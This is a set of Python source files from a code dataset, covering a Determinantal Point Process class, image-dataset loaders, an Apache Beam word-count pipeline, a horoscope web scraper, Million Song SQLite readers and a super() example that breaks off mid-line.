+{"seq_id":"31684943726","text":"import numpy as np\nimport theano\nimport theano.tensor as T\nfrom theano.tensor.nlinalg import Det\nfrom theano.ifelse import ifelse\nfrom theano.printing import Print\n\nclass DPP:\n    \"\"\"A class modeling a Determinantal Point Process.\n\n    Because this class uses a mixture of numpy methods (for sampling) and theano functions (for everything else), it is\n    non-trivial to use this class. In the following we show an example for how to use it:\n\n    # Build the ensemble matrix L\n    import theano.tensor as T\n    dpp = DPP()\n    L = dpp.build_L(Sentences, Context)     # 'Sentences' and 'Context' are theano variables.\n    f = theano.function([Sentences, Context], L)\n    L_val = f(sent, cont)                   # 'sent' and 'cont' are the inputs to the theano functions.\n                                            # 'L_val' is now a numpy array.\n\n    # Sampling\n    e_vectors, e_values = dpp.eigendecomposition(L_val)\n    sampled_sets = []\n    for i in range(10):                     # We sample 10 sets.\n        sample = dpp.sample(e_vectors, e_values)\n        sampled_sets.append(sample)\n\n\n    # Calculate the log probabilities of the sampled sets\n    lprobs = lprob_z(L, sampled_sets)\n    \"\"\"\n\n    def __init__(self):\n        pass\n\n    def build_L(self, sentences, context, activation = T.nnet.sigmoid, biased_diagonal = False):\n        \"\"\"Constructs the matrix L (L-Ensemble from the paper 'Determinantal point processes for\n        machine learning' (Kulesza, Taskar, 2013). L_mn = p_m'*p_n*(2*f(p_m'*context)-1)*(2*f(p_n'*context)-1),\n        where p_m and p_n are the feature vector of items m and n. f is the activation function and context the\n        context vector._\n\n        :type sentences: T.matrix, shape = (num_items_in_set, dim_per_item)\n        :param sentences: The input matrix for the DPP. Each row of the DPP encodes the feature vector for one item\n        of a ground set S.\n\n        :type context: T.vector, shape = (dim_per_item)\n        :param context: The feature vector encoding the context\n\n        :type activation: Theano tensor function\n        :parameter activation: An activation function (a sigmoid is recommended to get reasonable values).\n\n        :type return value: T.matrix, shape = (num_items_in_set, num_items_in_set)\n        :return return value: The Ensemble Matrix L.\n\n        \"\"\"\n\n        f_sentT_cont = activation(T.dot(sentences, context))\n        f2_1 = f_sentT_cont\n\n        B = sentences * f2_1.dimshuffle((0, 'x'))\n        B_BT = T.dot(B, B.T)\n        if biased_diagonal:\n            return B_BT + T.identity_like(B_BT)*0.1\n        else:\n            return B_BT\n\n    def build_L_independent(self, sentences, context, activation = T.nnet.sigmoid):\n        \"\"\"Constructs the L-Ensemble matrix where all but the diagonal is 0. This models independence between the\n        items in the sets.\"\"\"\n        f_sentT_cont = activation(T.dot(sentences, context))\n        diag = f_sentT_cont**2\n        L = T.diag(diag)\n        return L\n\n    def build_L_const_context(self, sentences, activation = T.nnet.sigmoid, biased_diagonal=False):\n        B_BT = T.dot(sentences, sentences.T)\n        if biased_diagonal:\n            return B_BT + T.identity_like(B_BT)*0.1\n        else:\n            return B_BT\n\n    def _orthonormal_basis(self, V, e_i):\n        \"\"\"Calculates an orthonormal basis for the subspace spanned by the columns of 'V' orthogonal to a vector of the\n        standard basis.\n\n        :type L: numpy.array\n        :param L: An array of linearly independent columns. The number of rows of L must be at least the number of columns.\n\n        :type e_i: Int\n        :param e_i: An index (counting starts from 0) denoting the $e_i$-th unit basis vector (i.e. [0,0,...,1,0,..,0],\n        where exactly the $e_i$-th entry of the vector is '1' and '0' otherwise.)\n\n        :type return value: numpy.array\n        :param return value: An array whose columns are an orthonormal basis for the subspace of 'V' orthogonal to the\n        unit basis vector given by 'e_i'.\n\n        \"\"\"\n\n        # Idea: We first construct the subspace of V orthogonal to the i-th unit basis vector and then use the standard\n        # np.linalg.qr decomposition to find the orthonormal basis for this space.\n\n        num_rows, num_cols = V.shape\n        if num_cols <= 1:\n            return np.empty((0,0))\n\n        # Switch the first column of V with the one containing the max value w.r.t to the i-th row.\n        max_ind = np.argmax(abs(V[e_i, :]))\n        vec_e_i = np.copy(V[:, max_ind])\n        V[:, max_ind] = V[:, 0]\n        V[:, 0] = vec_e_i\n\n        # We do one step of Gaussian elimination to find a set of vectors belonging to the subspace of V orthogonal to e_i\n        # (i.e. we set the first column (and hence also the i-th row) of V to 0).\n\n        row_e_i = np.copy(V[e_i, :])\n        for l in xrange(num_rows):\n            a_l0 = V[l, 0] / row_e_i[0]\n            V[l, :] -= row_e_i * a_l0\n\n        # QR decomposition\n        Q,R = np.linalg.qr(V[:,1:])\n\n        return Q\n\n    def eigendecomposition(self, L):\n        \"\"\"Calculates the eigendecomposition of the ensemble matrix L.\n\n        :type L: numpy.array, shape = (num_items_in_set, num_items_in_set)\n        :param L: The ensemble matrix L of the DPP. L is expected to be symmetric and real.\n\n        :type return value: (numpy.array, numpy.array) of shapes (num_items_in_set, num_items_in_set) and\n        (num_items_in_set,) respectively.\n        :return return value: The first entry of the tuple is a matrix containing the eigenvector of L in its columns.\n        The second entry of the tuple is a vector containing the eigenvalues of L (in the same order as the\n        associated eigenvectors).\n\n        \"\"\"\n\n        e_values, e_vectors = np.linalg.eigh(L)\n        return (e_vectors, e_values)\n\n    def get_samples(self, e_vectors, e_values, num_samples):\n        \"\"\"Samples from the DPP using the eidgendecomposition from the ensemble matrix L. It does this using the\n        algorithm from Hough et al. ('Determinantal processes and independence', 2006).\n\n        :type e_vectors: numpy.array, shape = (num_items_in_set, num_items_in_set)\n        :param e_vectors: A matrix containing the eigenvectors of the matrix L in the columns.\n\n        :type e_values: numpy.array, shape = (num_items_in_set,)\n        :param e_values: A vector containg the eigenvalues of the matrix L. The i-th entry of the vector is the\n        eigenvalue belonging to the eigenvector stored at e_vectors[:,i].\n\n        :type return value: numpy.array, shape = (num_samples, num_items_in_set)\n        :return return value: Each row of the array is a boolean vector representing a sampled set. The i-th entry of\n        such a vector is one iff the i-th item is in the sampled set.\n\n        \"\"\"\n        N = len(e_values)\n        if not (N,N) == e_vectors.shape:\n            raise ValueError(\"The shapes of the eigenvector matrix and the eigenvalue vector don't agree.\")\n\n        samples = []\n        while len(samples) < num_samples:\n            # Which subset of the eigenvector should be used for sampling?\n            r = np.random.rand(N)\n            probs = np.divide(e_values, e_values+1)\n            b = np.random.rand(N) <= probs\n            V = e_vectors[:,b]\n\n            # Sampling using the sampled eigenvector subset given by V\n            Y = np.zeros((N,))\n            while V.shape[1] > 0:\n                probs = np.sum(V**2, axis=1)/float(V.shape[1])\n                assert(abs(probs.sum()-1) < 1e-10)\n                multi_dist = np.random.multinomial(1, probs)\n                e_i = np.nonzero(multi_dist)[0][0]\n\n                Y[e_i] += 1\n                V = self._orthonormal_basis(V,e_i)\n            samples.append(Y)\n        return np.array(samples, dtype=np.int32)\n\n    def prob_z(self, L, samples):\n        \"\"\"Calculate the probability of sampled sets given the ensemble matrix L.\n\n        :type L: T.matrix, shape = (num_items_in_set, num_items_in_set)\n        :param L: The ensemble matrix L\n\n        :type samples: T.matrix, shape = (num_samples, num_items_in_set)\n        :param z: Each row of the matrix is a boolean vector representing a sampled set. The i-th entry of\n        such a row-vector is one iff the i-th item is in the sampled set.\n\n        :type return value: T.vector\n        :return return value: Each element of the vector represents the probability of the i-th sampled set w.r.t.\n        the ensemble matrix L.\n\n        \"\"\"\n\n        size = T.shape(samples)\n        num_samples = size[0]\n        num_sets = size[1]\n        L_I = L + T.eye(num_sets)\n        det_L_I = Det()(L_I)\n        factor = det_L_I/(det_L_I-1.0)      # 'factor' acounts for the fact that we filter empty sets\n\n        # Probability of one sampled set\n        def calc_prob(sample):\n            num_items_in_set = T.neq(sample, 0).sum()\n            L_S = L[:, (sample > 0).nonzero()][(sample > 0).nonzero(), :]\n            L_S = L_S.reshape((num_items_in_set, num_items_in_set))\n\n            # The next line needs to be uncommented if there is a possibility that one or more sample is the empty set.\n            #prob = ifelse(T.eq(num_items_in_set, 0), (1.0), Det()(L_S).astype('float32'))\n            prob = Det()(L_S).astype('float64')\n            return prob * factor / det_L_I\n\n        probs, update = theano.scan(fn=calc_prob, sequences=samples)\n        return probs\n\n    def lprob_z(self, L, samples):\n        \"\"\"Calculate the log-probability of sampled sets given the ensemble matrix L.\n\n        :type L: T.matrix, shape = (num_items_in_set, num_items_in_set)\n        :param L: The ensemble matrix L\n\n        :type samples: T.matrix, shape = (num_samples, num_items_in_set)\n        :param z: Each row of the matrix is a boolean vector representing a sampled set. The i-th entry of\n        such a row-vector is one iff the i-th item is in the sampled set.\n\n        :type return value: T.vector\n        :return return value: Each element of the vector represents the log-probability of the i-th sampled set w.r.t.\n        the ensemble matrix L.\n\n        \"\"\"\n\n        return T.log(self.prob_z(L, samples))\n","repo_name":"buehlmic/Rationalizing_Recommender_Systems","sub_path":"Source/Model/RRS/Layers/dpp.py","file_name":"dpp.py","file_ext":"py","file_size_in_byte":10106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"74057393758","text":"import torch\nimport torchvision\nimport torchvision.transforms as transforms\nfrom torch.utils.data import Dataset, DataLoader\nfrom sklearn.model_selection import train_test_split\nimport numpy as np\nfrom tqdm import tqdm\nfrom numpy.linalg import norm\nimport os\n\n\ndef one_hot_data(dataset: Dataset, num_classes: int, num_samples: int = -1, shift_label: bool = False) -> list:\n    \"\"\"\n    Converts dataset labels to one-hot encoded format.\n\n    Parameters:\n    dataset (Dataset): The dataset to be processed.\n    num_classes (int): The number of classes for one-hot encoding.\n    num_samples (int): Number of samples to process (-1 for all samples).\n    shift_label (bool): Whether to shift the label values (for zero-indexing).\n\n    Returns:\n    list: A list of tuples containing flattened images and one-hot encoded labels.\n    \"\"\"\n    labelset = {}\n    for i in range(num_classes):\n        one_hot = torch.zeros(num_classes)\n        one_hot[i] = 1\n        labelset[i] = one_hot\n\n    offset = 0\n    if shift_label:\n        offset = -1\n\n    subset = [(ex.flatten(), labelset[label + offset])\n              for idx, (ex, label) in enumerate(dataset) if idx < num_samples]\n\n    return subset\n\n\ndef split(trainset: list, p: float = .8) -> tuple:\n    \"\"\"\n    Splits the dataset into training and validation sets.\n\n    Parameters:\n    dataset (list): The dataset to be split.\n    p (float): Proportion of the dataset to be used as the training set.\n\n    Returns:\n    tuple: A tuple containing the training and validation sets.\n    \"\"\"\n    train, val = train_test_split(trainset, train_size=p)\n    return train, val\n\n\ndef get_cifar(split_percentage: float = .8, num_train: int = float('inf'), num_test: int = float('inf')) -> tuple:\n    \"\"\"\n    Prepares the CIFAR-10 dataset.\n\n    Parameters:\n    split_percentage (float): The percentage of the dataset to be used for training.\n    num_train (int): The number of training samples to use.\n    num_test (int): The number of test samples to use.\n\n    Returns:\n    tuple: A tuple containing DataLoaders for the training, validation, and test sets.\n    \"\"\"\n    NUM_CLASSES = 10\n    transform = transforms.Compose([transforms.ToTensor()])\n    path = os.path.join(os.getcwd(), 'datasets/')\n\n    trainset = torchvision.datasets.CIFAR10(root=path,\n                                            train=True,\n                                            transform=transform,\n                                            download=False)\n\n    trainset = one_hot_data(trainset, NUM_CLASSES, num_samples=num_train)\n    trainset, valset = split(trainset, p=split_percentage)\n\n    trainloader = torch.utils.data.DataLoader(trainset, batch_size=128,\n                                              shuffle=True, num_workers=1)\n\n    valloader = torch.utils.data.DataLoader(valset, batch_size=128,\n                                            shuffle=False, num_workers=1)\n\n    testset = torchvision.datasets.CIFAR10(root=path,\n                                           train=False,\n                                           transform=transform,\n                                           download=False)\n\n    testset = one_hot_data(testset, NUM_CLASSES, num_samples=num_test)\n\n    testloader = torch.utils.data.DataLoader(testset, batch_size=128,\n                                             shuffle=False, num_workers=1)\n\n    print(\"Num Train: \", len(trainset), \"Num Val: \", len(valset),\n          \"Num Test: \", len(testset))\n    return trainloader, valloader, testloader\n\n\ndef sample_data(num: int, d: int) -> tuple:\n    \"\"\"\n    Generates random data for a regression problem.\n\n    Parameters:\n    num (int): The number of samples to generate.\n    d (int): The dimension of each sample.\n\n    Returns:\n    tuple: A tuple of tensors containing the input data and corresponding labels.\n    \"\"\"\n    X = np.random.normal(size=(num, d))\n    y = X[:, 0] * X[:, 1]\n    y = y.reshape(-1, 1)\n    return torch.from_numpy(X).float(), torch.from_numpy(y).float()\n\n\ndef get_two_coordinates(split_percentage: float = .8, num_train: int = 2000, num_test: int = 1000, d: int = 100) -> tuple:\n    \"\"\"\n    Prepares a synthetic dataset for a regression problem.\n\n    Parameters:\n    split_percentage (float): The percentage of the dataset to be used for training.\n    num_train (int): The number of training samples to generate.\n    num_test (int): The number of test samples to generate.\n    d (int): The dimension of each sample.\n\n    Returns:\n    tuple: A tuple containing DataLoaders for the training, validation, and test sets.\n    \"\"\"\n    X, y = sample_data(num_train, d)\n    trainset = list(zip(X, y))\n    trainset, valset = split(trainset, p=split_percentage)\n    X_test, y_test = sample_data(num_test, d)\n    testset = list(zip(X_test, y_test))\n\n    train_loader = DataLoader(trainset, batch_size=128,\n                              shuffle=True, num_workers=1)\n    val_loader = DataLoader(valset, batch_size=128,\n                            shuffle=False, num_workers=1)\n    test_loader = DataLoader(testset, batch_size=128,\n                             shuffle=False, num_workers=1)\n    print(\"Num Train: \", len(trainset), \"Num Val: \", len(valset),\n          \"Num Test: \", len(testset))\n\n    return train_loader, val_loader, test_loader\n\n\ndef celeba_subset(dataset: Dataset, feature_idx: int, num_samples: int = -1) -> list:\n    \"\"\"\n    Creates a subset of the CelebA dataset based on a specific feature.\n\n    Parameters:\n    dataset (Dataset): The CelebA dataset.\n    feature_idx (int): The index of the feature to be used for subsetting.\n    num_samples (int): The number of samples to include in the subset.\n\n    Returns:\n    list: A list of tuples containing the data and corresponding labels.\n    \"\"\"\n    NUM_CLASSES = 2\n    labelset = {}\n    for i in range(NUM_CLASSES):\n        one_hot = torch.zeros(NUM_CLASSES)\n        one_hot[i] = 1\n        labelset[i] = one_hot\n\n    by_class = {}\n    features = []\n    for idx in tqdm(range(len(dataset))):\n        ex, label = dataset[idx]\n        features.append(label[feature_idx])\n        g = label[feature_idx].numpy().item()\n        # ex = torch.mean(ex, dim=0)\n        ex = ex.flatten()\n        ex = ex / norm(ex)\n        if g in by_class:\n            by_class[g].append((ex, labelset[g]))\n        else:\n            by_class[g] = [(ex, labelset[g])]\n        if idx > num_samples:\n            break\n    data = []\n    if 1 in by_class:\n        max_len = min(25000, len(by_class[1]))\n        data.extend(by_class[1][:max_len])\n        data.extend(by_class[0][:max_len])\n    else:\n        max_len = 1\n        data.extend(by_class[0][:max_len])\n    return data\n\n\ndef get_celeba(feature_idx: int, split_percentage: float = .8, num_train: int = float('inf'), num_test: int = float('inf')) -> tuple:\n    \"\"\"\n    Prepares the CelebA dataset for a specific feature.\n\n    Parameters:\n    feature_idx (int): The index of the feature to be used.\n    split_percentage (float): The percentage of the dataset to be used for training.\n    num_train (int): The number of training samples to use.\n    num_test (int): The number of test samples to use.\n\n    Returns:\n    tuple: A tuple containing DataLoaders for the training, validation, and test sets.\n    \"\"\"\n    celeba_path = os.path.join(os.getcwd(), 'datasets/')\n    SIZE = 96\n    transform = transforms.Compose(\n        [transforms.Resize([SIZE, SIZE]),\n         transforms.ToTensor()\n         ])\n\n    trainset = torchvision.datasets.CelebA(root=celeba_path,\n                                           split='train',\n                                           transform=transform,\n                                           download=False)\n    trainset = celeba_subset(trainset, feature_idx, num_samples=num_train)\n    trainset, valset = split(trainset, p=split_percentage)\n    trainloader = torch.utils.data.DataLoader(trainset, batch_size=128,\n                                              shuffle=True, num_workers=1)\n\n    valloader = torch.utils.data.DataLoader(valset, batch_size=128,\n                                            shuffle=False, num_workers=1)\n\n    testset = torchvision.datasets.CelebA(root=celeba_path,\n                                          split='test',\n                                          transform=transform,\n                                          download=False)\n    testset = celeba_subset(testset, feature_idx, num_samples=num_test)\n    testloader = torch.utils.data.DataLoader(testset, batch_size=128,\n                                             shuffle=False, num_workers=1)\n\n    print(\"Train Size: \", len(trainset), \"Val Size: \",\n          len(valset), \"Test Size: \", len(testset))\n    return trainloader, valloader, testloader\n\n\ndef group_by_class(dataset: Dataset) -> dict:\n    \"\"\"\n    Groups images in the dataset by class.\n\n    Parameters:\n    dataset (Dataset): The dataset to be grouped.\n\n    Returns:\n    dict: A dictionary with class labels as keys and lists of images as values.\n    \"\"\"\n    labelset = {}\n    for i in range(10):\n        labelset[i] = []\n    for i, batch in enumerate(dataset):\n        img, label = batch\n        labelset[label].append(img.view(1, 3, 32, 32))\n    return labelset\n\n\ndef merge_data(cifar: Dataset, mnist: Dataset, n: int) -> list:\n    \"\"\"\n    Merges CIFAR and MNIST datasets.\n\n    Parameters:\n    cifar (Dataset): The CIFAR dataset.\n    mnist (Dataset): The MNIST dataset.\n    n (int): The number of samples to merge from each class.\n\n    Returns:\n    list: A list of tuples containing the merged data and corresponding labels.\n    \"\"\"\n    cifar_by_label = group_by_class(cifar)\n    mnist_by_label = group_by_class(mnist)\n\n    merged_data = []\n    merged_labels = []\n\n    labelset = {}\n\n    for i in range(10):\n        one_hot = torch.zeros(1, 10)\n        one_hot[0, i] = 1\n        labelset[i] = one_hot\n\n    for l in cifar_by_label:\n\n        cifar_data = torch.cat(cifar_by_label[l])\n        mnist_data = torch.cat(mnist_by_label[l])\n        min_len = min(len(mnist_data), len(cifar_data))\n        m = min(n, min_len)\n        cifar_data = cifar_data[:m]\n        mnist_data = mnist_data[:m]\n\n        merged = torch.cat([cifar_data, mnist_data], axis=-1)\n        # for i in range(3):\n        #    vis.image(merged[i])\n        merged_data.append(merged.reshape(m, -1))\n        # print(merged.shape)\n        merged_labels.append(np.repeat(labelset[l], m, axis=0))\n    merged_data = torch.cat(merged_data, axis=0)\n\n    merged_labels = np.concatenate(merged_labels, axis=0)\n    merged_labels = torch.from_numpy(merged_labels)\n\n    return list(zip(merged_data, merged_labels))\n\n\ndef draw_star(ex: torch.Tensor, v: float, c: int = 3) -> torch.Tensor:\n    \"\"\"\n    Draws a star shape on an image tensor.\n\n    Parameters:\n    ex (torch.Tensor): The image tensor.\n    v (float): The value to use for drawing the star.\n    c (int): The number of channels to draw on.\n\n    Returns:\n    torch.Tensor: The image tensor with a star drawn on it.\n    \"\"\"\n    ex[:c, 5:6, 7:14] = v\n    ex[:c, 4, 9:12] = v\n    ex[:c, 3, 10] = v\n    ex[:c, 6, 8:13] = v\n    ex[:c, 7, 9:12] = v\n    ex[:c, 8, 8:13] = v\n    ex[:c, 9, 8:10] = v\n    ex[:c, 9, 11:13] = v\n    return ex\n\n\ndef one_hot_stl_toy(dataset: Dataset, num_samples: int = -1) -> list:\n    \"\"\"\n    Prepares a toy STL dataset with one-hot encoding.\n\n    Parameters:\n    dataset (Dataset): The STL dataset.\n    num_samples (int): The number of samples to process.\n\n    Returns:\n    list: A list of tuples containing the data and corresponding one-hot encoded labels.\n    \"\"\"\n    labelset = {}\n    for i in range(2):\n        one_hot = torch.zeros(2)\n        one_hot[i] = 1\n        labelset[i] = one_hot\n\n    subset = [(ex, label) for idx, (ex, label) in enumerate(dataset)\n              if idx < num_samples and (label == 0 or label == 9)]\n\n    adjusted = []\n    for idx, (ex, label) in enumerate(subset):\n        if label == 9:\n            ex = draw_star(ex, 1, c=2)\n            y = 1\n        else:\n            ex = draw_star(ex, 0)\n            y = 0\n        ex = ex.flatten()\n        adjusted.append((ex, labelset[y]))\n    return adjusted\n\n\ndef get_stl_star(split_percentage: float = .8, num_train: int = float('inf'), num_test: int = float('inf')) -> tuple:\n    \"\"\"\n    Prepares the STL dataset with star shapes added for a binary classification task.\n\n    Parameters:\n    split_percentage (float): The percentage of the dataset to be used for training.\n    num_train (int): The number of training samples to use.\n    num_test (int): The number of test samples to use.\n\n    Returns:\n    tuple: A tuple containing DataLoaders for the training, validation, and test sets.\n    \"\"\"\n    SIZE = 96\n    transform = transforms.Compose(\n        [transforms.Resize([SIZE, SIZE]),\n         transforms.ToTensor()\n         ])\n\n    path = os.path.join(os.getcwd(), 'datasets/')\n    trainset = torchvision.datasets.STL10(root=path,\n                                          split='train',\n                                          # train=True,\n                                          transform=transform,\n                                          download=True)\n    trainset = one_hot_stl_toy(trainset, num_samples=num_train)\n    trainset, valset = split(trainset, p=split_percentage)\n    trainloader = torch.utils.data.DataLoader(trainset, batch_size=128,\n                                              shuffle=True, num_workers=2)\n\n    valloader = torch.utils.data.DataLoader(valset, batch_size=128,\n                                            shuffle=False, num_workers=1)\n    testset = torchvision.datasets.STL10(root=path,\n                                         split='test',\n                                         transform=transform,\n                                         download=True)\n    testset = one_hot_stl_toy(testset, num_samples=num_test)\n    testloader = torch.utils.data.DataLoader(testset, batch_size=128,\n                                             shuffle=False, num_workers=2)\n    print(\"Num Train: \", len(trainset), \"Num Val: \", len(valset),\n          \"Num Test: \", len(testset))\n    return trainloader, valloader, testloader\n","repo_name":"Ethan-Shapiro/DSC-180A","sub_path":"CODE/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":14055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"17101662821","text":"from beam_astra.fns import WordExtractingDoFn, AstraStoreDoFn\n\nimport argparse\nimport logging\n\nimport apache_beam as beam\nfrom apache_beam.io import ReadFromText\nfrom apache_beam.options.pipeline_options import PipelineOptions\nfrom apache_beam.options.pipeline_options import SetupOptions\n\ndef run(argv=None, save_main_session=True):\n  \"\"\"Main entry point; defines and runs the wordcount pipeline.\"\"\"\n  parser = argparse.ArgumentParser()\n  parser.add_argument(\n      '--input',\n      dest='input',\n      help='Input file to process.')\n  parser.add_argument(\n      '--scb',\n      dest='scb',\n      help='Astra secure connect bundle')\n  parser.add_argument(\n      '--clientid',\n      dest='clientid',\n      help='Astra client ID')\n  parser.add_argument(\n      '--secret',\n      dest='secret',\n      help='Astra secret')\n  known_args, pipeline_args = parser.parse_known_args(argv)\n\n  # We use the save_main_session option because one or more DoFn's in this\n  # workflow rely on global context (e.g., a module imported at module level).\n  pipeline_options = PipelineOptions(pipeline_args)\n  pipeline_options.view_as(SetupOptions).save_main_session = save_main_session\n\n  # The pipeline will be run on exiting the with block.\n  with beam.Pipeline(options=pipeline_options) as p:\n\n    # Read the text file[pattern] into a PCollection.\n    lines = p | 'Read' >> ReadFromText(known_args.input)\n\n    counts = (\n        lines\n        | 'Split' >> (beam.ParDo(WordExtractingDoFn()).with_output_types(str))\n        | 'PairWithOne' >> beam.Map(lambda x: (x, 1))\n        | 'GroupAndSum' >> beam.CombinePerKey(sum)\n        | 'AstraStore' >> (beam.ParDo(AstraStoreDoFn(known_args.scb, known_args.clientid, known_args.secret))))\n\nif __name__ == '__main__':\n  logging.getLogger().setLevel(logging.INFO)\n  run()","repo_name":"absurdfarce/beam-astra","sub_path":"python/beam_astra/wordcount.py","file_name":"wordcount.py","file_ext":"py","file_size_in_byte":1792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"10685781520","text":"import requests\nfrom bs4 import BeautifulSoup\nimport fake_useragent\n\nclass Parser:\n    user = fake_useragent.UserAgent().random\n    header = {'user-agent': user}\n    def __init__(self, sign, interval):\n        self.sign = sign\n        self.interval = interval\n    def parsing(self):\n        url = f'https://orakul.com/horoscope/astrologic/general/{self.sign}/{self.interval}.html'\n        response = requests.get(url, headers=self.header)\n        soup = BeautifulSoup(response.text, 'lxml')\n\n        block = soup.find('div', class_='contentOnly')\n        self.horo_title = block.find('h1')\n        self.birthday = block.find('div', class_='sm-descr')\n        self.horo_date = block.find('h2', class_='typehead')\n        self.horo_block = block.find('p', class_='')\n    def print_horo(self):\n        return(f'Знак зодиака: {self.horo_title.text.strip()}\\nДата рождения: {self.birthday.text.strip()}\\n{self.horo_date.text.strip()}\\n'\n              f'{self.horo_block.text.strip()}')","repo_name":"Dekster198/Zodiac","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"40345196969","text":"import sqlite3\nfrom os import path\nimport codecs\n\n\"\"\"\nIO functions from sqlite databases found here (http://labrosa.ee.columbia.edu/millionsong/pages/getting-dataset)\n\"\"\"\ndef get_artists_from_csv(csv_file):\n\t with codecs.open(csv_file,encoding='utf-8') as f :\n\t\t artists_path  = [unicode(l.replace('\\r','').replace('\\n','').split(';')[1].lower()) for l in f.readlines()]\n\t return artists_path\n\ndef get_artists_from_db(track_db_file):\n\t \"\"\" Return all artists attributes : id, name, ...\n\t >>> len(get_artists_from_db(path.join('D:\\Data','track_metadata.db')))\n\t 44745\n\t \"\"\"\n\t conn = sqlite3.connect(track_db_file)\n\t c = conn.cursor()\n\t q = \"\"\"\n\t\tSELECT artist_id,artist_mbid,artist_name FROM songs\n\t\tGROUP BY artist_id ORDER BY artist_id,artist_mbid,artist_name\n\t\t\"\"\"\n\t res = c.execute(q)\n\t return res.fetchall()\n\ndef get_artists_ids_from_db(artists_db_file):\n\t \"\"\" Return all artists\n\t >>> len(get_artists_ids_from_db(path.join('D:\\Data','artist_term.db')))\n\t 44745\n\t \"\"\"\n\t conn = sqlite3.connect(artists_db_file)\n\t c = conn.cursor()\n\t q = 'SELECT artist_id FROM artists'\n\t res = c.execute(q)\n\t return list(r[0] for r in res)\n\t \ndef get_terms_from_db(terms_db_file):\n\t \"\"\" Return all terms\n\t >>> len(get_terms_from_db(path.join('D:\\Data','artist_term.db')))\n\t 7643\n\t \"\"\"\n\t conn = sqlite3.connect(terms_db_file)\n\t c = conn.cursor()\n\t q = 'SELECT term FROM terms ORDER by term'\n\t res = c.execute(q)\n\t return list(r[0] for r in res)\n\ndef get_artist_terms_by_artists_from_db(terms_db_file):\n\t \"\"\" Return all artists_terms ordered by artists\n\t >>> len(get_artist_terms_by_artists_from_db(path.join('D:\\Data','artist_term.db')))\n\t 1109381\n\t \"\"\"\n\t conn = sqlite3.connect(terms_db_file)\n\t c = conn.cursor()\n\t q = 'SELECT artist_id, term FROM artist_term ORDER by artist_id,term'\n\t res = c.execute(q)\n\t return res.fetchall()\n\ndef get_artist_terms_by_terms_from_db(terms_db_file):\n\t \"\"\" Return all artists_terms ordered by terms\n\t >>> len(get_artist_terms_by_terms_from_db(path.join('D:\\Data','artist_term.db')))\n\t 1109381\n\t \"\"\"\n\t conn = sqlite3.connect(terms_db_file)\n\t c = conn.cursor()\n\t q = 'SELECT artist_id, term FROM artist_term ORDER by term,artist_id'\n\t res = c.execute(q)\n\t return res.fetchall()\n\nclass db_loader:\n\t \"\"\" DB loader to fetch artists name/ids, terms and artists to terms from sql lite db files\n\t >>> l=db_loader(r'D:\\Data')\n\t >>> l.get_track_db_file()\n\t 'D:\\\\\\\\Data\\\\\\\\track_metadata.db'\n\t >>> l.get_artists_terms_db_file()\n\t 'D:\\\\\\\\Data\\\\\\\\artist_term.db'\n\t \"\"\"\n\t def __init__(self,db_directory):\n\t\t self.db_directory = db_directory\n\t \n\t def get_track_db_file(self):\n\t\t \"\"\" Returned tracks db file path\n\t\t \"\"\"\n\t\t return path.join(self.db_directory,'track_metadata.db')\n\n\t def get_artists_terms_db_file(self):\n\t\t \"\"\" Returned artists/terms db file path\n\t\t \"\"\"\n\t\t return path.join(self.db_directory,'artist_term.db')\n\t \n\t def load(self):\n\t\t artists = get_artists_from_db(self.get_track_db_file())\n\t\t terms = get_terms_from_db(self.get_artists_terms_db_file())\n\t\t by_artist_terms = get_artist_terms_by_artists_from_db(self.get_artists_terms_db_file())\n\t\t by_terms_artists = get_artist_terms_by_terms_from_db(self.get_artists_terms_db_file())\n\t\t return (artists,terms,by_artist_terms,by_terms_artists)\n\n\nif __name__ == \"__main__\":\n    import doctest\n    doctest.testmod()","repo_name":"pilipolio/MillionSongsPlayground","sub_path":"io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":3281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"71353059679","text":"# -*- coding: utf-8 -*-\n__author__ = 'lihe <imanux@sina.com>'\n__date__ = '2018/4/9 4:55 PM'\n__description__ = '''\n    ☰\n  ☱   ☴\n☲   ☯   ☵\n  ☳   ☶\n    ☷\n'''\n\nimport collections\nimport os\nimport sys\nfrom pprint import pprint\n\nfrom logzero import logger as log  # pylint: disable=import-error\n\napp_root = '/'.join(os.path.abspath(__file__).split('/')[:-2])\nsys.path.append(app_root)\n\n\nclass LoggingDict(dict):\n    \"\"\"\n    这个类拥有其父类`dict`的所有功能特性,\n    但是它扩展了`dict`的`__setitem__`实现当有 key 更新时触发记录log功能\n    在实现了日志记录后, 方法使用了super()来委托实现使用`key/value pair` 更新字典的工作\n    在super()引入之前, 我们不得不在程序中硬编码来调用`dict.__setitem__`方法.\n    而且, 由于super()是通过计算的非直接引用, 所以是一个更好的实现方式.\n    使用间接引用的一个好处在于不需要我们直接使用名字来指定委托类. \n    如果你编辑了源代码来切换到另外基类的映射, super()委托会自动更新. 实际来说你只需要一个简单的源码:\n    除了隔离改变之外, 另一个主要收益在于间接计算`动态计算`, 如果是从静态编程语言转换而来, 可能对此不大熟悉. \n    鉴于中间层是在运行时计算, 我们可以自由的影响计算来动态指向其他类.\n    动态计算依赖于类的`super`在哪里调用和祖先的实例树. \n    组成第一部分的类的`super`调用由类的程序代码决定.\n    在我们例子中,super()被`LoggingDict.__setitem__`方法调用. 这块功能是固定的. \n    第二个但更有意思的部分组成是可变量(我们可以使用一个丰富的祖先树来创建一个子类).\n    让我们利用此而不需要修改已有类来构建一个记录有序字典的类.\n    \"\"\"\n\n    def __setitem__(self, key, value):\n        log.debug('Setting {} to {}'.format(key, value))\n        super().__setitem__(key, value)\n\n\n'''\nclass SomeOtherMapping(object):\n    pass\nclass LoggingDict(SomeOtherMapping):    # new base class\n    def __setitem__(self, key, value):\n        print('Setting %r to %r' % (key, value))\n        super().__setitem__(key, value) # no change needed\n'''\n\n\nclass LoggingOD(LoggingDict, collections.OrderedDict):\n    pass\n\n\nclass Root(object):\n    def draw(self):\n        assert not 